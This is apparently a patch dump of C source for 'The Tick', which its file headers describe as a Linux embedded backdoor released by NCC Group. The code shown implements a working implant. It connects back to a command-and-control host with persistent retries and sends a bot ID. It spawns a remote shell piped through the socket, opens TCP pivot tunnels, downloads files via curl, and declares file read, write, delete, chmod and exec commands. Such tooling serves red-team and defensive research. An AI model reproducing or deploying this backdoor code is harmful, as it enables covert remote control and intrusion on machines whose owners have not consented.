CMD_TCP_PIVOT_ARGS *pivot = (CMD_TCP_PIVOT_ARGS *) p->buffer;
|
||||
struct sockaddr_in sa;
|
||||
|
||||
// Read the TCP pivot options structure.
|
||||
if (p->header.cmd_len != sizeof(CMD_TCP_PIVOT_ARGS) || parser_read_first_arg(p, (char *) &p->buffer, sizeof(CMD_TCP_PIVOT_ARGS)) < 0) {
|
||||
printf("Malformed TCP pivot request\n");
|
||||
parser_error(p, "malformed request");
|
||||
parser_close(p);
|
||||
return;
|
||||
}
|
||||
|
||||
// Connect to the target IP and port.
|
||||
sock = create_socket(AF_INET);
|
||||
memset((void *) &sa, 0, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
if (pivot->from_port != 0) {
|
||||
sa.sin_port = pivot->from_port;
|
||||
bind(sock, (const struct sockaddr *) &sa, sizeof(sa));
|
||||
}
|
||||
sa.sin_port = pivot->port;
|
||||
memcpy((void *) &sa.sin_addr, (void *) &pivot->ip, sizeof(sa.sin_addr));
|
||||
if (pivot->from_port != 0) {
|
||||
printf("Pivoting to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port), ntohs(pivot->from_port));
|
||||
} else {
|
||||
printf("Pivoting to %s:%d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port));
|
||||
}
|
||||
if (connect_socket(sock, (const struct sockaddr *) &sa, sizeof(sa)) < 0) {
|
||||
if (pivot->from_port != 0) {
|
||||
printf("Can not connect to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port), ntohs(pivot->from_port));
|
||||
} else {
|
||||
printf("Can not connect to %s:%d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port));
|
||||
}
|
||||
parser_error(p, "connection refused");
|
||||
return;
|
||||
}
|
||||
|
||||
// Send the OK status before launching the tunnel, since we'll be reusing the channel.
|
||||
parser_ok(p);
|
||||
|
||||
// Fork the process twice.
|
||||
if (fork() == 0) {
|
||||
if (fork() == 0) {
|
||||
|
||||
// The first process will handle the source to destination data.
|
||||
copy_stream(p->fd, sock, -1);
|
||||
|
||||
} else {
|
||||
|
||||
// The second process will handle the destination to source data.
|
||||
copy_stream(sock, p->fd, -1);
|
||||
|
||||
}
|
||||
|
||||
// Both processes will kill their sockets and quit.
|
||||
disconnect_tcp(p->fd);
|
||||
disconnect_tcp(sock);
|
||||
exit(0);
|
||||
|
||||
} else {
|
||||
|
||||
// Log the event.
|
||||
if (pivot->from_port != 0) {
|
||||
printf("Launched TCP tunnel to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), pivot->port, pivot->from_port);
|
||||
} else {
|
||||
printf("Launched TCP tunnel to %s:%d\n", inet_ntoa(sa.sin_addr), pivot->port);
|
||||
}
|
||||
|
||||
// Close the socket object and reconnect.
|
||||
// Do not shutdown! The parent process still uses this connection.
|
||||
close(p->fd);
|
||||
p->fd = -1;
|
||||
parser_close(p);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
void do_system_fork(Parser *p)
|
||||
{
|
||||
unsigned char uuid[16];
|
||||
|
||||
// Generate a new UUID for the new instance.
|
||||
uuid4(uuid);
|
||||
|
||||
// Send the new UUID back to the caller.
|
||||
parser_begin_response(p, CMD_STATUS_OK, sizeof(uuid));
|
||||
send_block(p->fd, uuid, sizeof(uuid));
|
||||
|
||||
// Fork the new instance.
|
||||
if (fork() == 0) {
|
||||
|
||||
// We are in the child instance now.
|
||||
// Set the new UUID into the Parser object.
|
||||
memcpy(p->uuid, uuid, sizeof(uuid));
|
||||
|
||||
// Close the socket object and reconnect.
|
||||
// Do not shutdown! The parent process still uses this connection.
|
||||
close(p->fd);
|
||||
p->fd = -1;
|
||||
parser_close(p);
|
||||
parser_connect(p);
|
||||
}
|
||||
}
|
||||
|
||||
void do_system_shell(Parser *p)
|
||||
{
|
||||
char *shell = NULL;
|
||||
char *argv[2];
|
||||
|
||||
// Find out what our shell is.
|
||||
shell = getenv("SHELL");
|
||||
|
||||
// If for some odd reason we don't have a SHELL variable, hardcode a default.
|
||||
if (shell == NULL) {
|
||||
shell = "/bin/sh";
|
||||
}
|
||||
|
||||
// Test if the file actually exists and we have execution permission.
|
||||
if (access(shell, X_OK) == -1) {
|
||||
printf("Cannot find a shell for the current user\n");
|
||||
parser_error(p, "no shell available");
|
||||
return;
|
||||
}
|
||||
|
||||
// Send the OK status before invoking the shell, since we'll be reusing the channel.
|
||||
parser_ok(p);
|
||||
|
||||
// Fork the process.
|
||||
if (fork() == 0) {
|
||||
|
||||
// The new process will invoke the shell and pipe it though the socket.
|
||||
// The socket timeout values will be disabled.
|
||||
setsockopt(p->fd, SOL_SOCKET, SO_RCVTIMEO, NULL, 0);
|
||||
setsockopt(p->fd, SOL_SOCKET, SO_SNDTIMEO, NULL, 0);
|
||||
dup2(p->fd, 0);
|
||||
dup2(p->fd, 1);
|
||||
dup2(p->fd, 2);
|
||||
argv[0] = shell;
|
||||
argv[1] = NULL;
|
||||
execvp(shell, argv);
|
||||
|
||||
} else {
|
||||
|
||||
// The parent process will "forget" the connection.
|
||||
close(p->fd);
|
||||
p->fd = -1;
|
||||
parser_close(p);
|
||||
|
||||
}
|
||||
printf("Launched remote shell\n");
|
||||
}
|
34
src/command.h
Normal file
34
src/command.h
Normal file
|
@ -0,0 +1,34 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#ifndef COMMAND_H
|
||||
#define COMMAND_H
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "parser.h"
|
||||
|
||||
// Main function.
|
||||
int command_loop(Parser *p);
|
||||
|
||||
// Command implementations.
|
||||
void do_file_read(Parser *p);
|
||||
void do_file_write(Parser *p);
|
||||
void do_file_delete(Parser *p);
|
||||
void do_file_chmod(Parser *p);
|
||||
void do_file_exec(Parser *p);
|
||||
void do_http_download(Parser *p);
|
||||
void do_dns_resolve(Parser *p);
|
||||
void do_tcp_pivot(Parser *p);
|
||||
void do_system_fork(Parser *p);
|
||||
void do_system_shell(Parser *p);
|
||||
|
||||
#endif /* COMMAND_H */
|
57
src/file.c
Normal file
57
src/file.c
Normal file
|
@ -0,0 +1,57 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/statvfs.h>
|
||||
|
||||
#include "file.h"
|
||||
|
||||
// Helper function to copy a file stream.
|
||||
// Since uses low lever file descriptors it works with sockets too.
|
||||
// Optional "count" parameter limits how many bytes to copy,
|
||||
// use <0 to copy the entire stream. Returns 0 on success, -1 on error.
|
||||
int copy_stream(int source, int destination, ssize_t count)
|
||||
{
|
||||
ssize_t copied = 0;
|
||||
ssize_t block = 0;
|
||||
char buffer[1024];
|
||||
|
||||
if (count == 0) return 0;
|
||||
while (count < 0 || copied < count) {
|
||||
block = read(source, buffer, sizeof(buffer));
|
||||
if (block < 0 || (block == 0 && count > 0 && copied < count)) {
|
||||
return -1;
|
||||
}
|
||||
if (block == 0) {
|
||||
return 0;
|
||||
}
|
||||
copied = copied + block;
|
||||
while (block > 0) {
|
||||
ssize_t tmp = write(destination, buffer, block);
|
||||
if (tmp <= 0) {
|
||||
return -1;
|
||||
}
|
||||
block = block - tmp;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Helper function to get the free space available in a given mount point.
|
||||
// Returns -1 on error.
|
||||
ssize_t get_free_space(const char *pathname)
|
||||
{
|
||||
struct statvfs svfs;
|
||||
if (statvfs(pathname, &svfs) < 0) return -1;
|
||||
return svfs.f_bfree * svfs.f_bsize;
|
||||
}
|
18
src/file.h
Normal file
18
src/file.h
Normal file
|
@ -0,0 +1,18 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#ifndef FILE_H
|
||||
#define FILE_H
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
int copy_stream(int source, int destination, ssize_t count);
|
||||
|
||||
#endif /* FILE_H */
|
72
src/http.c
Normal file
72
src/http.c
Normal file
|
@ -0,0 +1,72 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#include <curl/curl.h>
|
||||
|
||||
#include "http.h"
|
||||
#include "tcp.h"
|
||||
#include "command.h"
|
||||
#include "parser.h"
|
||||
|
||||
void http_init()
|
||||
{
|
||||
curl_global_init(CURL_GLOBAL_ALL);
|
||||
}
|
||||
|
||||
void http_cleanup()
|
||||
{
|
||||
curl_global_cleanup();
|
||||
}
|
||||
|
||||
// Helper function to download a file from a URL.
|
||||
// Returns 0 on success, -1 on error.
|
||||
int download_file(const char *url, const char *filename, long verify_peer)
|
||||
{
|
||||
CURL *curl_handle = NULL;
|
||||
FILE *file = NULL;
|
||||
int success = 0;
|
||||
|
||||
// Open the destination file.
|
||||
file = fopen(filename, "wb");
|
||||
if (file == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Initialize a CURL handle and fill up its options.
|
||||
curl_handle = curl_easy_init();
|
||||
curl_easy_setopt(curl_handle, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0L);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_NOPROGRESS, 1L);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, fwrite);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, file);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, verify_peer);
|
||||
|
||||
// Download the file.
|
||||
success = curl_easy_perform(curl_handle);
|
||||
|
||||
// Clean up.
|
||||
fclose(file);
|
||||
curl_easy_cleanup(curl_handle);
|
||||
|
||||
// Success!
|
||||
return success;
|
||||
}
|
18
src/http.h
Normal file
18
src/http.h
Normal file
|
@ -0,0 +1,18 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#ifndef HTTP_H
|
||||
#define HTTP_H
|
||||
|
||||
void http_init();
|
||||
void http_cleanup();
|
||||
int download_file(const char *url, const char *filename, long verify_peer);
|
||||
|
||||
#endif /* HTTP_H */
|
63
src/main.c
Normal file
63
src/main.c
Normal file
|
@ -0,0 +1,63 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "main.h"
|
||||
#include "command.h"
|
||||
#include "http.h"
|
||||
#include "parser.h"
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
// Call the global initialization routine.
|
||||
hello();
|
||||
|
||||
// Set the global cleanup routine to be run automatically on exit.
|
||||
atexit(goodbye);
|
||||
|
||||
// Connect to the C&C over TCP.
|
||||
if (argc == 3) {
|
||||
printf("Starting up...\n");
|
||||
|
||||
// Command line arguments are the hostname and port.
|
||||
char *hostname = argv[1];
|
||||
int port = atoi(argv[2]);
|
||||
|
||||
// Initialize the parser.
|
||||
Parser parser;
|
||||
Parser *p = &parser;
|
||||
parser_init(p, hostname, port, NULL, NULL);
|
||||
|
||||
// Launch the main command loop.
|
||||
while (command_loop(p) == 0) {}
|
||||
}
|
||||
|
||||
// Quit.
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Global initialization routine.
|
||||
void hello(void)
|
||||
{
|
||||
// Initialize the HTTP module.
|
||||
http_init();
|
||||
}
|
||||
|
||||
// Global cleanup routine.
|
||||
void goodbye(void)
|
||||
{
|
||||
// Cleanup the HTTP module.
|
||||
http_cleanup();
|
||||
}
|
18
src/main.h
Normal file
18
src/main.h
Normal file
|
@ -0,0 +1,18 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#ifndef MAIN_H
|
||||
#define MAIN_H
|
||||
|
||||
int main(int argc, char *argv[]);
|
||||
void hello(void);
|
||||
void goodbye(void);
|
||||
|
||||
#endif /* MAIN_H */
|
330
src/parser.c
Normal file
330
src/parser.c
Normal file
|
@ -0,0 +1,330 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/statvfs.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "parser.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "shell.h"
|
||||
#include "tcp.h"
|
||||
#include "file.h"
|
||||
|
||||
// Helper function to generate UUIDv4 values.
|
||||
// Output buffer is assumed to be exactly 16 bytes long.
|
||||
void uuid4(unsigned char *uuid)
|
||||
{
|
||||
// Generate 16 random numbers using rand().
|
||||
// This is really bad but it works as a fallback.
|
||||
srand((unsigned int) time(NULL) ^ (unsigned int) getpid());
|
||||
for (int i = 0; i < 16; i++) {
|
||||
uuid[i] = (unsigned char) (unsigned int) rand();
|
||||
}
|
||||
|
||||
// Do it again but this time using /dev/urandom.
|
||||
// Since we're overwriting the buffer we get a fallback.
|
||||
// Paranoid? Absolutely! ;)
|
||||
int fd = open("/dev/urandom", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
int total = 0;
|
||||
while (total < 16) {
|
||||
int bytes = read(fd, &uuid[total], 16 - total);
|
||||
if (bytes <= 0) break; // should never happen...
|
||||
total = total + bytes;
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
|
||||
// We need to make some bits fixed to follow the RFC.
|
||||
uuid[6] = 0x40 | (uuid[6] & 0xf);
|
||||
uuid[8] = 0x80 | (uuid[8] & 0x3f);
|
||||
}
|
||||
|
||||
// Initialize the parser.
|
||||
void parser_init(Parser *parser, const char *hostname, int port, ConnectionCallback callback, void *userdata)
|
||||
{
|
||||
parser->hostname = (char *) hostname;
|
||||
parser->port = port;
|
||||
parser->callback = callback;
|
||||
parser->userdata = userdata;
|
||||
parser->fd = -1;
|
||||
parser->header.cmd_id = 0;
|
||||
parser->header.cmd_len = 0;
|
||||
parser->header.data_len = 0;
|
||||
uuid4(parser->uuid);
|
||||
memset(&parser->buffer, 0, sizeof(parser->buffer));
|
||||
}
|
||||
|
||||
// Closes the file descriptor and resets some internal variables.
|
||||
void parser_close(Parser *parser)
|
||||
{
|
||||
if (parser->fd >= 0) {
|
||||
shutdown(parser->fd, 2);
|
||||
close(parser->fd);
|
||||
}
|
||||
parser->fd = -1;
|
||||
parser->header.cmd_id = 0;
|
||||
parser->header.cmd_len = 0;
|
||||
parser->header.data_len = 0;
|
||||
memset(&parser->buffer, 0, sizeof(parser->buffer));
|
||||
}
|
||||
|
||||
// Send a command response header. Data should be sent by the caller.
|
||||
void parser_begin_response(Parser *parser, uint8_t status, uint16_t length)
|
||||
{
|
||||
RESP_HEADER resp;
|
||||
|
||||
resp.status = status;
|
||||
resp.data_len = htonl(length);
|
||||
send_block(parser->fd, (const char *) &resp, sizeof(resp));
|
||||
}
|
||||
|
||||
// Send an empty success response.
|
||||
void parser_ok(Parser *parser)
|
||||
{
|
||||
parser_begin_response(parser, CMD_STATUS_OK, 0);
|
||||
}
|
||||
|
||||
// Send an error response.
|
||||
void parser_error(Parser *parser, const char *error)
|
||||
{
|
||||
uint16_t length = 0;
|
||||
if (error != NULL) {
|
||||
length = (uint16_t) strlen(error);
|
||||
if (length != strlen(error)) {
|
||||
length = 0;
|
||||
}
|
||||
}
|
||||
parser_begin_response(parser, CMD_STATUS_ERROR, length);
|
||||
if (length > 0) {
|
||||
send_block(parser->fd, error, length);
|
||||
}
|
||||
}
|
||||
|
||||
// Test to see if the socket is connected.
|
||||
int parser_is_connected(Parser *parser)
|
||||
{
|
||||
return (parser->fd >= 0 && send(parser->fd, NULL, 0, MSG_NOSIGNAL) == 0);
|
||||
}
|
||||
|
||||
// If not conected, connects the socket. If connected, does nothing.
|
||||
void parser_connect(Parser *parser)
|
||||
{
|
||||
// Do nothing if we're already connected.
|
||||
if ( ! parser_is_connected(parser) ) {
|
||||
|
||||
// Close the old socket and reset internal variables.
|
||||
parser_close(parser);
|
||||
|
||||
// Reconnection only makes sense when using TCP connect back.
|
||||
// Make sure this is the case.
|
||||
if (parser->hostname != NULL) {
|
||||
|
||||
// Connect to the given hostname and port.
|
||||
printf("Connecting to %s:%d...\n", parser->hostname, parser->port);
|
||||
while (parser->fd < 0) {
|
||||
parser->fd = connect_to_host(parser->hostname, parser->port);
|
||||
if (parser->fd < 0) {
|
||||
printf("Error connecting, waiting 30 seconds to retry...\n");
|
||||
sleep(30); // Sleep 30 seconds between failed attempts
|
||||
} else {
|
||||
printf("Connected to %s:%d\n", parser->hostname, parser->port);
|
||||
}
|
||||
}
|
||||
|
||||
// Send the bot ID immediately after a successful (re)connection.
|
||||
send_block(parser->fd, parser->uuid, sizeof(parser->uuid));
|
||||
|
||||
// Invoke the callback. MUST be done after sending the ID.
|
||||
if (parser->callback != NULL && ((ConnectionCallback) parser->callback)(parser, parser->userdata) != 0) {
|
||||
printf("Callback told us to die!\n");
|
||||
parser_close(parser);
|
||||
return;
|
||||
}
|
||||
|
||||
// If reconnection is not possible, set a fake quit command.
|
||||
// This will kill the listener on error.
|
||||
} else {
|
||||
parser->header.cmd_id = CMD_SYSTEM_EXIT;
|
||||
parser->header.cmd_len = 0;
|
||||
parser->header.data_len = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Blocking call to wait for the next command.
|
||||
// Will reconnect the socket automatically if needed.
|
||||
void parser_wait(Parser *parser)
|
||||
{
|
||||
|
||||
// Reconnect automatically if needed.
|
||||
// If reconnection fails permanently, exit.
|
||||
parser_connect(parser);
|
||||
if ( ! parser_is_connected(parser) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Read the command block header.
|
||||
// Drop and restart if the connection is interrupted.
|
||||
// If reconnection fails permanently, exit.
|
||||
while (1) {
|
||||
memset((void *) &parser->header, 0, sizeof(parser->header));
|
||||
if (recv_block(parser->fd, (char *) &parser->header, sizeof(parser->header)) < 0) {
|
||||
parser_close(parser);
|
||||
parser_connect(parser);
|
||||
if ( ! parser_is_connected(parser) ) {
|
||||
return;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// Fix the endianness.
|
||||
parser->header.cmd_id = ntohs(parser->header.cmd_id);
|
||||
parser->header.cmd_len = ntohs(parser->header.cmd_len);
|
||||
parser->header.data_len = ntohl(parser->header.data_len);
|
||||
|
||||
// Clean up the internal buffer.
|
||||
memset((void *) &parser->buffer, 0, sizeof(parser->buffer));
|
||||
}
|
||||
|
||||
// Skip all extra data in the socket until the next command header.
|
||||
void parser_next(Parser *parser)
|
||||
{
|
||||
// If we are connected...
|
||||
if (parser_is_connected(parser)) {
|
||||
|
||||
// Calculate how much unread data we have in the socket.
|
||||
size_t extra_data = (size_t) parser->header.cmd_len + (size_t) parser->header.data_len;
|
||||
|
||||
// If we have unread data...
|
||||
if (extra_data > 0) {
|
||||
|
||||
// Skip as many bytes as needed.
|
||||
if (consume_extra_data(parser->fd, extra_data) < 0) {
|
||||
|
||||
// On error, reconnect and reset internal variables.
|
||||
parser_connect(parser);
|
||||
|
||||